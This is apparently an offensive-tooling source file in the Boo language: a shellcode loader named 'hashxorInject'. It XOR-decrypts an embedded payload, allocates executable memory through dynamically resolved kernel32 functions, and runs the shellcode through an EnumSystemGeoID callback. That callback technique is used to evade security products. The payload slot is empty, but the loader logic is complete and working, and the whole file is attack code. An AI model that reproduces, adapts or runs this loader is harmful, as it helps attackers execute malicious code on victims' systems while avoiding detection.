JkMaFlLi-xorInject/hashxorInject.boo

import System.Runtime.InteropServices
import System

[DllImport("kernel32.dll")]
def GetProcAddress(hModule as IntPtr, lpProcName as string) as IntPtr:
    pass

[DllImport("kernel32.dll")]
def LoadLibrary(lpFileName as string) as IntPtr:
    pass

# Function types
callable EnumGeoIDFunc(GeoClass as int, ParentGeoId as int, lpGeoEnumProc as GeoCallback) as bool
callable VirtualAllocFunc(lpAddress as int, dwSize as int, flAllocationType as int, flProtect as int) as IntPtr
callable GeoCallback(GeoId as int, lParam as IntPtr) as bool
callable ShellcodeDelegate() as void

# Constants
PAGE_EXECUTE_READWRITE = 0x40
MEM_COMMIT = 0x1000
XOR_KEY = 0x42
GEOCLASS_NATION = 16

# Global shellcode pointer
shellcodePtr = IntPtr.Zero

def HashAPI(name as string) as string:
    result = ""
    for c in name:
        numVal = System.Convert.ToInt32(c)
        numVal = numVal ^ 0x33
        result += System.Convert.ToChar(numVal)
    return result

def DecryptShellcode(encrypted as (string), key as byte) as (byte):
    decrypted = System.Collections.Generic.List[of byte]()
    for mac in encrypted:
        bytes = mac.Split(char('-'))
        for b in bytes:
            if b:
                encrypted_byte = byte.Parse(b, System.Globalization.NumberStyles.HexNumber)
                decrypted.Add(encrypted_byte ^ key)
    return decrypted.ToArray()

def GeoEnumProc(GeoId as int, lParam as IntPtr) as bool:
    try:
        shellcodeFunc = Marshal.GetDelegateForFunctionPointer(shellcodePtr, typeof(ShellcodeDelegate)) as ShellcodeDelegate
        shellcodeFunc.Invoke()
    except ex:
        print "Shellcode execution error: ${ex.Message}"
    return false

def ExecuteGeoID():
    try:
        encryptedShellcode = (
            # Place shellcode here (xor script output) 
        )
        
        hKernel32 = LoadLibrary("kernel32.dll")
        enumGeoIDAddr = GetProcAddress(hKernel32, "EnumSystemGeoID")
        virtualAllocAddr = GetProcAddress(hKernel32, "VirtualAlloc")
        
        enumGeoID = Marshal.GetDelegateForFunctionPointer(enumGeoIDAddr, typeof(EnumGeoIDFunc)) as EnumGeoIDFunc
        virtualAlloc = Marshal.GetDelegateForFunctionPointer(virtualAllocAddr, typeof(VirtualAllocFunc)) as VirtualAllocFunc
        
        print "Decrypting shellcode..."
        decryptedShellcode = DecryptShellcode(encryptedShellcode, XOR_KEY)
        
        print "Allocating memory..."
        funcAddr = virtualAlloc.Invoke(0, decryptedShellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
        if funcAddr == IntPtr.Zero:
            print "Memory allocation failed"
            return
            
        print "Memory allocated at: 0x${funcAddr}"
        shellcodePtr = funcAddr
        
        Marshal.Copy(decryptedShellcode, 0, shellcodePtr, decryptedShellcode.Length)
        
        print "Executing shellcode..."
        enumGeoID.Invoke(GEOCLASS_NATION, 0, GeoEnumProc)
        
    except ex:
        print "Execution error: ${ex.Message}"

ExecuteGeoID()